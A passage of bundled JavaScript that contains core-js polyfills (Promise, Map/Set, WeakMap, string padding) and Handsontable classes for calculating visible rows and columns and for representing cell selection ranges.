promise._v = value; promise._s = 2; if (!promise._a) promise._a = promise._c.slice(); notify(promise, true); }; var $resolve = function (value) { var promise = this; var then; if (promise._d) return; promise._d = true; promise = promise._w || promise; // unwrap try { if (promise === value) throw TypeError("Promise can't be resolved itself"); if (then = isThenable(value)) { microtask(function () { var wrapper = { _w: promise, _d: false }; // wrap try { then.call(value, ctx($resolve, wrapper, 1), ctx($reject, wrapper, 1)); } catch (e) { $reject.call(wrapper, e); } }); } else { promise._v = value; promise._s = 1; notify(promise, false); } } catch (e) { $reject.call({ _w: promise, _d: false }, e); // wrap } }; // constructor polyfill if (!USE_NATIVE) { // 25.4.3.1 Promise(executor) $Promise = function Promise(executor) { anInstance(this, $Promise, PROMISE, '_h'); aFunction(executor); Internal.call(this); try { executor(ctx($resolve, this, 1), ctx($reject, this, 1)); } catch (err) { $reject.call(this, err); } }; // eslint-disable-next-line no-unused-vars Internal = function Promise(executor) { this._c = []; // <- awaiting reactions this._a = undefined; // <- checked in isUnhandled reactions this._s = 0; // <- state this._d = false; // <- done this._v = undefined; // <- value this._h = 0; // <- rejection state, 0 - default, 1 - handled, 2 - unhandled this._n = false; // <- notify }; Internal.prototype = __webpack_require__(65)($Promise.prototype, { // 25.4.5.3 Promise.prototype.then(onFulfilled, onRejected) then: function then(onFulfilled, onRejected) { var reaction = newPromiseCapability(speciesConstructor(this, $Promise)); reaction.ok = typeof onFulfilled == 'function' ? onFulfilled : true; reaction.fail = typeof onRejected == 'function' && onRejected; reaction.domain = isNode ? process.domain : undefined; this._c.push(reaction); if (this._a) this._a.push(reaction); if (this._s) notify(this, false); return reaction.promise; }, // 25.4.5.1 Promise.prototype.catch(onRejected) 'catch': function (onRejected) { return this.then(undefined, onRejected); } }); OwnPromiseCapability = function () { var promise = new Internal(); this.promise = promise; this.resolve = ctx($resolve, promise, 1); this.reject = ctx($reject, promise, 1); }; newPromiseCapabilityModule.f = newPromiseCapability = function (C) { return C === $Promise || C === Wrapper ? new OwnPromiseCapability(C) : newGenericPromiseCapability(C); }; } $export($export.G + $export.W + $export.F * !USE_NATIVE, { Promise: $Promise }); __webpack_require__(60)($Promise, PROMISE); __webpack_require__(63)(PROMISE); Wrapper = __webpack_require__(21)[PROMISE]; // statics $export($export.S + $export.F * !USE_NATIVE, PROMISE, { // 25.4.4.5 Promise.reject(r) reject: function reject(r) { var capability = newPromiseCapability(this); var $$reject = capability.reject; $$reject(r); return capability.promise; } }); $export($export.S + $export.F * (LIBRARY || !USE_NATIVE), PROMISE, { // 25.4.4.6 Promise.resolve(x) resolve: function resolve(x) { return promiseResolve(LIBRARY && this === Wrapper ? $Promise : this, x); } }); $export($export.S + $export.F * !(USE_NATIVE && __webpack_require__(82)(function (iter) { $Promise.all(iter)['catch'](empty); })), PROMISE, { // 25.4.4.1 Promise.all(iterable) all: function all(iterable) { var C = this; var capability = newPromiseCapability(C); var resolve = capability.resolve; var reject = capability.reject; var result = perform(function () { var values = []; var index = 0; var remaining = 1; forOf(iterable, false, function (promise) { var $index = index++; var alreadyCalled = false; values.push(undefined); remaining++; C.resolve(promise).then(function (value) { if (alreadyCalled) return; alreadyCalled = true; values[$index] = value; --remaining || resolve(values); }, reject); }); --remaining || resolve(values); }); if (result.e) reject(result.v); return capability.promise; }, // 25.4.4.4 Promise.race(iterable) race: function race(iterable) { var C = this; var capability = newPromiseCapability(C); var reject = capability.reject; var result = perform(function () { forOf(iterable, false, function (promise) { C.resolve(promise).then(capability.resolve, reject); }); }); if (result.e) reject(result.v); return capability.promise; } }); /***/ }), /* 152 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 25.4.1.5 NewPromiseCapability(C) var aFunction = __webpack_require__(38); function PromiseCapability(C) { var resolve, reject; this.promise = new C(function ($$resolve, $$reject) { if (resolve !== undefined || reject !== undefined) throw TypeError('Bad Promise constructor'); resolve = $$resolve; reject = $$reject; }); this.resolve = aFunction(resolve); this.reject = aFunction(reject); } module.exports.f = function (C) { return new PromiseCapability(C); }; /***/ }), /* 153 */ /***/ (function(module, exports, __webpack_require__) { var anObject = __webpack_require__(5); var isObject = __webpack_require__(7); var newPromiseCapability = __webpack_require__(152); module.exports = function (C, x) { anObject(C); if (isObject(x) && x.constructor === C) return x; var promiseCapability = newPromiseCapability.f(C); var resolve = promiseCapability.resolve; resolve(x); return promiseCapability.promise; }; /***/ }), /* 154 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var dP = __webpack_require__(17).f; var create = __webpack_require__(55); var redefineAll = __webpack_require__(65); var ctx = __webpack_require__(37); var anInstance = __webpack_require__(64); var forOf = __webpack_require__(86); var $iterDefine = __webpack_require__(106); var step = __webpack_require__(148); var setSpecies = __webpack_require__(63); var DESCRIPTORS = __webpack_require__(20); var fastKey = __webpack_require__(45).fastKey; var validate = __webpack_require__(66); var SIZE = DESCRIPTORS ? '_s' : 'size'; var getEntry = function (that, key) { // fast case var index = fastKey(key); var entry; if (index !== 'F') return that._i[index]; // frozen object case for (entry = that._f; entry; entry = entry.n) { if (entry.k == key) return entry; } }; module.exports = { getConstructor: function (wrapper, NAME, IS_MAP, ADDER) { var C = wrapper(function (that, iterable) { anInstance(that, C, NAME, '_i'); that._t = NAME; // collection type that._i = create(null); // index that._f = undefined; // first entry that._l = undefined; // last entry that[SIZE] = 0; // size if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); }); redefineAll(C.prototype, { // 23.1.3.1 Map.prototype.clear() // 23.2.3.2 Set.prototype.clear() clear: function clear() { for (var that = validate(this, NAME), data = that._i, entry = that._f; entry; entry = entry.n) { entry.r = true; if (entry.p) entry.p = entry.p.n = undefined; delete data[entry.i]; } that._f = that._l = undefined; that[SIZE] = 0; }, // 23.1.3.3 Map.prototype.delete(key) // 23.2.3.4 Set.prototype.delete(value) 'delete': function (key) { var that = validate(this, NAME); var entry = getEntry(that, key); if (entry) { var next = entry.n; var prev = entry.p; delete that._i[entry.i]; entry.r = true; if (prev) prev.n = next; if (next) next.p = prev; if (that._f == entry) that._f = next; if (that._l == entry) that._l = prev; that[SIZE]--; } return !!entry; }, // 23.2.3.6 Set.prototype.forEach(callbackfn, thisArg = undefined) // 23.1.3.5 Map.prototype.forEach(callbackfn, thisArg = undefined) forEach: function forEach(callbackfn /* , that = undefined */) { validate(this, NAME); var f = ctx(callbackfn, arguments.length > 1 ? arguments[1] : undefined, 3); var entry; while (entry = entry ? entry.n : this._f) { f(entry.v, entry.k, this); // revert to the last existing entry while (entry && entry.r) entry = entry.p; } }, // 23.1.3.7 Map.prototype.has(key) // 23.2.3.7 Set.prototype.has(value) has: function has(key) { return !!getEntry(validate(this, NAME), key); } }); if (DESCRIPTORS) dP(C.prototype, 'size', { get: function () { return validate(this, NAME)[SIZE]; } }); return C; }, def: function (that, key, value) { var entry = getEntry(that, key); var prev, index; // change existing entry if (entry) { entry.v = value; // create new entry } else { that._l = entry = { i: index = fastKey(key, true), // <- index k: key, // <- key v: value, // <- value p: prev = that._l, // <- previous entry n: undefined, // <- next entry r: false // <- removed }; if (!that._f) that._f = entry; if (prev) prev.n = entry; that[SIZE]++; // add to index if (index !== 'F') that._i[index] = entry; } return that; }, getEntry: getEntry, setStrong: function (C, NAME, IS_MAP) { // add .keys, .values, .entries, [@@iterator] // 23.1.3.4, 23.1.3.8, 23.1.3.11, 23.1.3.12, 23.2.3.5, 23.2.3.8, 23.2.3.10, 23.2.3.11 $iterDefine(C, NAME, function (iterated, kind) { this._t = validate(iterated, NAME); // target this._k = kind; // kind this._l = undefined; // previous }, function () { var that = this; var kind = that._k; var entry = that._l; // revert to the last existing entry while (entry && entry.r) entry = entry.p; // get next entry if (!that._t || !(that._l = entry = entry ? entry.n : that._t._f)) { // or finish the iteration that._t = undefined; return step(1); } // return step by kind if (kind == 'keys') return step(0, entry.k); if (kind == 'values') return step(0, entry.v); return step(0, [entry.k, entry.v]); }, IS_MAP ? 'entries' : 'values', !IS_MAP, true); // add [@@species], 23.1.2.2, 23.2.2.2 setSpecies(NAME); } }; /***/ }), /* 155 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var redefineAll = __webpack_require__(65); var getWeak = __webpack_require__(45).getWeak; var anObject = __webpack_require__(5); var isObject = __webpack_require__(7); var anInstance = __webpack_require__(64); var forOf = __webpack_require__(86); var createArrayMethod = __webpack_require__(36); var $has = __webpack_require__(27); var validate = __webpack_require__(66); var arrayFind = createArrayMethod(5); var arrayFindIndex = createArrayMethod(6); var id = 0; // fallback for uncaught frozen keys var uncaughtFrozenStore = function (that) { return that._l || (that._l = new UncaughtFrozenStore()); }; var UncaughtFrozenStore = function () { this.a = []; }; var findUncaughtFrozen = function (store, key) { return arrayFind(store.a, function (it) { return it[0] === key; }); }; UncaughtFrozenStore.prototype = { get: function (key) { var entry = findUncaughtFrozen(this, key); if (entry) return entry[1]; }, has: function (key) { return !!findUncaughtFrozen(this, key); }, set: function (key, value) { var entry = findUncaughtFrozen(this, key); if (entry) entry[1] = value; else this.a.push([key, value]); }, 'delete': function (key) { var index = arrayFindIndex(this.a, function (it) { return it[0] === key; }); if (~index) this.a.splice(index, 1); return !!~index; } }; module.exports = { getConstructor: function (wrapper, NAME, IS_MAP, ADDER) { var C = wrapper(function (that, iterable) { anInstance(that, C, NAME, '_i'); that._t = NAME; // collection type that._i = id++; // collection id that._l = undefined; // leak store for uncaught frozen objects if (iterable != undefined) forOf(iterable, IS_MAP, that[ADDER], that); }); redefineAll(C.prototype, { // 23.3.3.2 WeakMap.prototype.delete(key) // 23.4.3.3 WeakSet.prototype.delete(value) 'delete': function (key) { if (!isObject(key)) return false; var data = getWeak(key); if (data === true) return uncaughtFrozenStore(validate(this, NAME))['delete'](key); return data && $has(data, this._i) && delete data[this._i]; }, // 23.3.3.4 WeakMap.prototype.has(key) // 23.4.3.4 WeakSet.prototype.has(value) has: function has(key) { if (!isObject(key)) return false; var data = getWeak(key); if (data === true) return uncaughtFrozenStore(validate(this, NAME)).has(key); return data && $has(data, this._i); } }); return C; }, def: function (that, key, value) { var data = getWeak(anObject(key), true); if (data === true) uncaughtFrozenStore(that).set(key, value); else data[that._i] = value; return that; }, ufstore: uncaughtFrozenStore }; /***/ }), /* 156 */ /***/ (function(module, exports, __webpack_require__) { // https://tc39.github.io/ecma262/#sec-toindex var toInteger = __webpack_require__(33); var toLength = __webpack_require__(16); module.exports = function (it) { if (it === undefined) return 0; var number = toInteger(it); var length = toLength(number); if (number !== length) throw RangeError('Wrong length!'); return length; }; /***/ }), /* 157 */ /***/ (function(module, exports, __webpack_require__) { // all object keys, includes non-enumerable and symbols var gOPN = __webpack_require__(56); var gOPS = __webpack_require__(80); var anObject = __webpack_require__(5); var Reflect = __webpack_require__(6).Reflect; module.exports = Reflect && Reflect.ownKeys || function ownKeys(it) { var keys = gOPN.f(anObject(it)); var getSymbols = gOPS.f; return getSymbols ? keys.concat(getSymbols(it)) : keys; }; /***/ }), /* 158 */ /***/ (function(module, exports, __webpack_require__) { // https://github.com/tc39/proposal-string-pad-start-end var toLength = __webpack_require__(16); var repeat = __webpack_require__(102); var defined = __webpack_require__(40); module.exports = function (that, maxLength, fillString, left) { var S = String(defined(that)); var stringLength = S.length; var fillStr = fillString === undefined ? ' ' : String(fillString); var intMaxLength = toLength(maxLength); if (intMaxLength <= stringLength || fillStr == '') return S; var fillLen = intMaxLength - stringLength; var stringFiller = repeat.call(fillStr, Math.ceil(fillLen / fillStr.length)); if (stringFiller.length > fillLen) stringFiller = stringFiller.slice(0, fillLen); return left ? stringFiller + S : S + stringFiller; }; /***/ }), /* 159 */ /***/ (function(module, exports, __webpack_require__) { var getKeys = __webpack_require__(53); var toIObject = __webpack_require__(29); var isEnum = __webpack_require__(71).f; module.exports = function (isEntries) { return function (it) { var O = toIObject(it); var keys = getKeys(O); var length = keys.length; var i = 0; var result = []; var key; while (length > i) if (isEnum.call(O, key = keys[i++])) { result.push(isEntries ? [key, O[key]] : O[key]); } return result; }; }; /***/ }), /* 160 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var privatePool = new WeakMap(); /** * Calculates indexes of columns to render OR columns that are visible. * To redo the calculation, you need to create a new calculator. * * @class ViewportColumnsCalculator */ var ViewportColumnsCalculator = /*#__PURE__*/ function () { _createClass(ViewportColumnsCalculator, null, [{ key: "DEFAULT_WIDTH", /** * Default column width * * @type {Number} */ get: function get() { return 50; } /** * @param {Number} viewportWidth Width of the viewport * @param {Number} scrollOffset Current horizontal scroll position of the viewport * @param {Number} totalColumns Total number of rows * @param {Function} columnWidthFn Function that returns the width of the column at a given index (in px) * @param {Function} overrideFn Function that changes calculated this.startRow, this.endRow (used by MergeCells plugin) * @param {Boolean} onlyFullyVisible if `true`, only startRow and endRow will be indexes of rows that are fully in viewport * @param {Boolean} stretchH * @param {Function} [stretchingColumnWidthFn] Function that returns the new width of the stretched column. */ }]); function ViewportColumnsCalculator(viewportWidth, scrollOffset, totalColumns, columnWidthFn, overrideFn, onlyFullyVisible, stretchH) { var stretchingColumnWidthFn = arguments.length > 7 && arguments[7] !== undefined ? arguments[7] : function (width) { return width; }; _classCallCheck(this, ViewportColumnsCalculator); privatePool.set(this, { viewportWidth: viewportWidth, scrollOffset: scrollOffset, totalColumns: totalColumns, columnWidthFn: columnWidthFn, overrideFn: overrideFn, onlyFullyVisible: onlyFullyVisible, stretchingColumnWidthFn: stretchingColumnWidthFn }); /** * Number of rendered/visible columns * * @type {Number} */ this.count = 0; /** * Index of the first rendered/visible column (can be overwritten using overrideFn) * * @type {Number|null} */ this.startColumn = null; /** * Index of the last rendered/visible column (can be overwritten using overrideFn) * * @type {null} */ this.endColumn = null; /** * Position of the first rendered/visible column (in px) * * @type {Number|null} */ this.startPosition = null; this.stretchAllRatio = 0; this.stretchLastWidth = 0; this.stretch = stretchH; this.totalTargetWidth = 0; this.needVerifyLastColumnWidth = true; this.stretchAllColumnsWidth = []; this.calculate(); } /** * Calculates viewport */ _createClass(ViewportColumnsCalculator, [{ key: "calculate", value: function calculate() { var sum = 0; var needReverse = true; var startPositions = []; var columnWidth; var priv = privatePool.get(this); var onlyFullyVisible = priv.onlyFullyVisible; var overrideFn = priv.overrideFn; var scrollOffset = priv.scrollOffset; var totalColumns = priv.totalColumns; var viewportWidth = priv.viewportWidth; for (var i = 0; i < totalColumns; i++) { columnWidth = this._getColumnWidth(i); if (sum <= scrollOffset && !onlyFullyVisible) { this.startColumn = i; } // +1 pixel for row header width compensation for horizontal scroll > 0 var compensatedViewportWidth = scrollOffset > 0 ? viewportWidth + 1 : viewportWidth; if (sum >= scrollOffset && sum + columnWidth <= scrollOffset + compensatedViewportWidth) { if (this.startColumn === null || this.startColumn === void 0) { this.startColumn = i; } this.endColumn = i; } startPositions.push(sum); sum += columnWidth; if (!onlyFullyVisible) { this.endColumn = i; } if (sum >= scrollOffset + viewportWidth) { needReverse = false; break; } } if (this.endColumn === totalColumns - 1 && needReverse) { this.startColumn = this.endColumn; while (this.startColumn > 0) { var viewportSum = startPositions[this.endColumn] + columnWidth - startPositions[this.startColumn - 1]; if (viewportSum <= viewportWidth || !onlyFullyVisible) { this.startColumn -= 1; } if (viewportSum > viewportWidth) { break; } } } if (this.startColumn !== null && overrideFn) { overrideFn(this); } this.startPosition = startPositions[this.startColumn]; if (this.startPosition === void 0) { this.startPosition = null; } if (this.startColumn !== null) { this.count = this.endColumn - this.startColumn + 1; } } /** * Recalculate columns stretching. * * @param {Number} totalWidth */ }, { key: "refreshStretching", value: function refreshStretching(totalWidth) { if (this.stretch === 'none') { return; } var totalColumnsWidth = totalWidth; this.totalTargetWidth = totalColumnsWidth; var priv = privatePool.get(this); var totalColumns = priv.totalColumns; var sumAll = 0; for (var i = 0; i < totalColumns; i++) { var columnWidth = this._getColumnWidth(i); var permanentColumnWidth = priv.stretchingColumnWidthFn(void 0, i); if (typeof permanentColumnWidth === 'number') { totalColumnsWidth -= permanentColumnWidth; } else { sumAll += columnWidth; } } var remainingSize = totalColumnsWidth - sumAll; if (this.stretch === 'all' && remainingSize > 0) { this.stretchAllRatio = totalColumnsWidth / sumAll; this.stretchAllColumnsWidth = []; this.needVerifyLastColumnWidth = true; } else if (this.stretch === 'last' && totalColumnsWidth !== Infinity) { var _columnWidth = this._getColumnWidth(totalColumns - 1); var lastColumnWidth = remainingSize + _columnWidth; this.stretchLastWidth = lastColumnWidth >= 0 ? lastColumnWidth : _columnWidth; } } /** * Get stretched column width based on stretchH (all or last) setting passed in handsontable instance. * * @param {Number} column * @param {Number} baseWidth * @returns {Number|null} */ }, { key: "getStretchedColumnWidth", value: function getStretchedColumnWidth(column, baseWidth) { var result = null; if (this.stretch === 'all' && this.stretchAllRatio !== 0) { result = this._getStretchedAllColumnWidth(column, baseWidth); } else if (this.stretch === 'last' && this.stretchLastWidth !== 0) { result = this._getStretchedLastColumnWidth(column); } return result; } /** * @param {Number} column * @param {Number} baseWidth * @returns {Number} * @private */ }, { key: "_getStretchedAllColumnWidth", value: function _getStretchedAllColumnWidth(column, baseWidth) { var sumRatioWidth = 0; var priv = privatePool.get(this); var totalColumns = priv.totalColumns; if (!this.stretchAllColumnsWidth[column]) { var stretchedWidth = Math.round(baseWidth * this.stretchAllRatio); var newStretchedWidth = priv.stretchingColumnWidthFn(stretchedWidth, column); if (newStretchedWidth === void 0) { this.stretchAllColumnsWidth[column] = stretchedWidth; } else { this.stretchAllColumnsWidth[column] = isNaN(newStretchedWidth) ? this._getColumnWidth(column) : newStretchedWidth; } } if (this.stretchAllColumnsWidth.length === totalColumns && this.needVerifyLastColumnWidth) { this.needVerifyLastColumnWidth = false; for (var i = 0; i < this.stretchAllColumnsWidth.length; i++) { sumRatioWidth += this.stretchAllColumnsWidth[i]; } if (sumRatioWidth !== this.totalTargetWidth) { this.stretchAllColumnsWidth[this.stretchAllColumnsWidth.length - 1] += this.totalTargetWidth - sumRatioWidth; } } return this.stretchAllColumnsWidth[column]; } /** * @param {Number} column * @returns {Number|null} * @private */ }, { key: "_getStretchedLastColumnWidth", value: function _getStretchedLastColumnWidth(column) { var priv = privatePool.get(this); var totalColumns = priv.totalColumns; if (column === totalColumns - 1) { return this.stretchLastWidth; } return null; } /** * @param {Number} column Column index. * @returns {Number} * @private */ }, { key: "_getColumnWidth", value: function _getColumnWidth(column) { var width = privatePool.get(this).columnWidthFn(column); if (isNaN(width)) { width = ViewportColumnsCalculator.DEFAULT_WIDTH; } return width; } }]); return ViewportColumnsCalculator; }(); var _default = ViewportColumnsCalculator; exports.default = _default; /***/ }), /* 161 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var privatePool = new WeakMap(); /** * Calculates indexes of rows to render OR rows that are visible. * To redo the calculation, you need to create a new calculator. * * @class ViewportRowsCalculator */ var ViewportRowsCalculator = /*#__PURE__*/ function () { _createClass(ViewportRowsCalculator, null, [{ key: "DEFAULT_HEIGHT", /** * Default row height * * @type {Number} */ get: function get() { return 23; } /** * @param {Number} viewportHeight Height of the viewport * @param {Number} scrollOffset Current vertical scroll position of the viewport * @param {Number} totalRows Total number of rows * @param {Function} rowHeightFn Function that returns the height of the row at a given index (in px) * @param {Function} overrideFn Function that changes calculated this.startRow, this.endRow (used by MergeCells plugin) * @param {Boolean} onlyFullyVisible if `true`, only startRow and endRow will be indexes of rows that are fully in viewport * @param {Number} horizontalScrollbarHeight */ }]); function ViewportRowsCalculator(viewportHeight, scrollOffset, totalRows, rowHeightFn, overrideFn, onlyFullyVisible, horizontalScrollbarHeight) { _classCallCheck(this, ViewportRowsCalculator); privatePool.set(this, { viewportHeight: viewportHeight, scrollOffset: scrollOffset, totalRows: totalRows, rowHeightFn: rowHeightFn, overrideFn: overrideFn, onlyFullyVisible: onlyFullyVisible, horizontalScrollbarHeight: horizontalScrollbarHeight }); /** * Number of rendered/visible rows * * @type {Number} */ this.count = 0; /** * Index of the first rendered/visible row (can be overwritten using overrideFn) * * @type {Number|null} */ this.startRow = null; /** * Index of the last rendered/visible row (can be overwritten using overrideFn) * * @type {null} */ this.endRow = null; /** * Position of the first rendered/visible row (in px) * * @type {Number|null} */ this.startPosition = null; this.calculate(); } /** * Calculates viewport */ _createClass(ViewportRowsCalculator, [{ key: "calculate", value: function calculate() { var sum = 0; var needReverse = true; var startPositions = []; var priv = privatePool.get(this); var onlyFullyVisible = priv.onlyFullyVisible; var overrideFn = priv.overrideFn; var rowHeightFn = priv.rowHeightFn; var scrollOffset = priv.scrollOffset; var totalRows = priv.totalRows; var viewportHeight = priv.viewportHeight; var horizontalScrollbarHeight = priv.horizontalScrollbarHeight || 0; var rowHeight; // Calculate the number (start and end index) of rows needed for (var i = 0; i < totalRows; i++) { rowHeight = rowHeightFn(i); if (isNaN(rowHeight)) { rowHeight = ViewportRowsCalculator.DEFAULT_HEIGHT; } if (sum <= scrollOffset && !onlyFullyVisible) { this.startRow = i; } // the row is within the "visible range" if (sum >= scrollOffset && sum + rowHeight <= scrollOffset + viewportHeight - horizontalScrollbarHeight) { if (this.startRow === null) { this.startRow = i; } this.endRow = i; } startPositions.push(sum); sum += rowHeight; if (!onlyFullyVisible) { this.endRow = i; } if (sum >= scrollOffset + viewportHeight - horizontalScrollbarHeight) { needReverse = false; break; } } // If the estimation has reached the last row and there is still some space available in the viewport, // we need to render in reverse in order to fill the whole viewport with rows if (this.endRow === totalRows - 1 && needReverse) { this.startRow = this.endRow; while (this.startRow > 0) { // rowHeight is the height of the last row var viewportSum = startPositions[this.endRow] + rowHeight - startPositions[this.startRow - 1]; if (viewportSum <= viewportHeight - horizontalScrollbarHeight || !onlyFullyVisible) { this.startRow -= 1; } if (viewportSum >= viewportHeight - horizontalScrollbarHeight) { break; } } } if (this.startRow !== null && overrideFn) { overrideFn(this); } this.startPosition = startPositions[this.startRow]; if (this.startPosition === void 0) { this.startPosition = null; } if (this.startRow !== null) { this.count = this.endRow - this.startRow + 1; } } }]); return ViewportRowsCalculator; }(); var _default = ViewportRowsCalculator; exports.default = _default; /***/ }), /* 162 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _coords = _interopRequireDefault(__webpack_require__(75)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * CellRange holds cell coordinates as {@link CellCoords} instances. This object represent unit of the selection layer which * can contains multiple contiquous cells or single cell. * * @util */ var CellRange = /*#__PURE__*/ function () { function CellRange(highlight) { var from = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : highlight; var to = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : highlight; _classCallCheck(this, CellRange); /** * Used to draw bold border around a cell where selection was started and to edit the cell when you press Enter. * * @type {CellCoords} */ this.highlight = highlight; /** * Usually the same as highlight, but in Excel there is distinction - one can change highlight within a selection. * * @type {CellCoords} */ this.from = from; /** * End selection. * * @type {CellCoords} */ this.to = to; } /** * Set the new coordinates for highlighting selection. * * @param {CellCoords} coords Coordinates to use. */ _createClass(CellRange, [{ key: "setHighlight", value: function setHighlight(coords) { this.highlight = coords; return this; } /** * Set the new coordinates where selection starts from. * * @param {CellCoords} coords Coordinates to use. */ }, { key: "setFrom", value: function setFrom(coords) { this.from = coords; return this; } /** * Set new coordinates where selection ends from. * * @param {CellCoords} coords Coordinates to use. */ }, { key: "setTo", value: function setTo(coords) { this.to = coords; return this; } /** * Checks if given coordinates are valid in context of a given Walkontable instance. * * @param {Walkontable} wot The Walkontable instance. * @returns {Boolean} */ }, { key: "isValid", value: function isValid(wot) { return this.from.isValid(wot) && this.to.isValid(wot); } /** * Checks if this cell range is restricted to one cell * * @returns {Boolean} */ }, { key: "isSingle", value: function isSingle() { return this.from.row === this.to.row && this.from.col === this.to.col; } /** * Returns selected range height (in number of rows). * * @returns {Number} */ }, { key: "getHeight", value: function getHeight() { return Math.max(this.from.row, this.to.row) - Math.min(this.from.row, this.to.row) + 1; } /** * Returns selected range width (in number of columns). * * @returns {Number} */ }, { key: "getWidth", value: function getWidth() { return Math.max(this.from.col, this.to.col) - Math.min(this.from.col, this.to.col) + 1; } /** * Checks if given cell coordinates are within `from` and `to` cell coordinates of this range. * * @param {CellCoords} cellCoords The cell coordinates to check. * @returns {Boolean} */ }, { key: "includes", value: function includes(cellCoords) { var row = cellCoords.row, col = cellCoords.col; var topLeft = this.getTopLeftCorner(); var bottomRight = this.getBottomRightCorner(); return topLeft.row <= row && bottomRight.row >= row && topLeft.col <= col && bottomRight.col >= col; } /** * Checks if given range is within of this range. * * @param {CellRange} cellRange The cells range to check. * @returns {Boolean} */ }, { key: "includesRange", value: function includesRange(cellRange) { return this.includes(cellRange.getTopLeftCorner()) && this.includes(cellRange.getBottomRightCorner()); } /** * Checks if given range is equal to this range. * * @param {CellRange} cellRange The cells range to check. * @returns {Boolean} */ }, { key: "isEqual", value: function isEqual(cellRange) { return Math.min(this.from.row, this.to.row) === Math.min(cellRange.from.row, cellRange.to.row) && Math.max(this.from.row, this.to.row) === Math.max(cellRange.from.row, cellRange.to.row) && Math.min(this.from.col, this.to.col) === Math.min(cellRange.from.col, cellRange.to.col) && Math.max(this.from.col, this.to.col) === Math.max(cellRange.from.col, cellRange.to.col); } /** * Checks if tested range overlaps with the range. Range A is considered to to be overlapping with range B * if intersection of A and B or B and A is not empty. * * @param {CellRange} cellRange The cells range to check. * @returns {Boolean} */ }, { key: "overlaps", value: function overlaps(cellRange) { return cellRange.isSouthEastOf(this.getTopLeftCorner()) && cellRange.isNorthWestOf(this.getBottomRightCorner()); } /** * Checks if tested coordinates are positioned in south-east from this cell range. * * @param {CellRange} cellRange The cells range to check. * @returns {Boolean} */ }, { key: "isSouthEastOf", value: function isSouthEastOf(cellRange) { return this.getTopLeftCorner().isSouthEastOf(cellRange) || this.getBottomRightCorner().isSouthEastOf(cellRange); } /** * Checks if tested coordinates are positioned in north-west from this cell range. * * @param {CellRange} cellRange The cells range to check. * @returns {Boolean} */ }, { key: "isNorthWestOf", value: function isNorthWestOf(cellRange) { return this.getTopLeftCorner().isNorthWestOf(cellRange) || this.getBottomRightCorner().isNorthWestOf(cellRange); } /** * Returns `true` if the provided range is overlapping the current range horizontally (e.g. the current range's last * column is 5 and the provided range's first column is 3). * * @param {CellRange} cellRange The cells range to check. * @returns {Boolean} */ }, { key: "isOverlappingHorizontally", value: function isOverlappingHorizontally(cellRange) { return this.getTopRightCorner().col >= cellRange.getTopLeftCorner().col && this.getTopRightCorner().col <= cellRange.getTopRightCorner().col || this.getTopLeftCorner().col <= cellRange.getTopRightCorner().col && this.getTopLeftCorner().col >= cellRange.getTopLeftCorner().col; } /** * Returns `true` if the provided range is overlapping the current range vertically (e.g. the current range's last * row is 5 and the provided range's first row is 3). * * @param {CellRange} cellRange The cells range to check. * @returns {Boolean} */ }, { key: "isOverlappingVertically", value: function isOverlappingVertically(cellRange) { return this.getBottomRightCorner().row >= cellRange.getTopRightCorner().row && this.getBottomRightCorner().row <= cellRange.getBottomRightCorner().row || this.getTopRightCorner().row <= cellRange.getBottomRightCorner().row && this.getTopRightCorner().row >= cellRange.getTopRightCorner().row; } /** * Adds a cell to a range (only if exceeds corners of the range). Returns information if range was expanded. * * @param {CellCoords} cellCoords * @returns {Boolean} */ }, { key: "expand", value: function expand(cellCoords) { var topLeft = this.getTopLeftCorner(); var bottomRight = this.getBottomRightCorner(); if (cellCoords.row < topLeft.row || cellCoords.col < topLeft.col || cellCoords.row > bottomRight.row || cellCoords.col > bottomRight.col) { this.from = new _coords.default(Math.min(topLeft.row, cellCoords.row), Math.min(topLeft.col, cellCoords.col)); this.to = new _coords.default(Math.max(bottomRight.row, cellCoords.row), Math.max(bottomRight.col, cellCoords.col)); return true; } return false; } /** * Expand the current object by the range passed in the first argument. * * @param {CellRange} expandingRange Object extending the range. * @returns {Boolean} */ }, { key: "expandByRange", value: function expandByRange(expandingRange) { if (this.includesRange(expandingRange) || !this.overlaps(expandingRange)) { return false; } var topLeft = this.getTopLeftCorner(); var bottomRight = this.getBottomRightCorner(); var initialDirection = this.getDirection(); var expandingTopLeft = expandingRange.getTopLeftCorner(); var expandingBottomRight = expandingRange.getBottomRightCorner(); var resultTopRow = 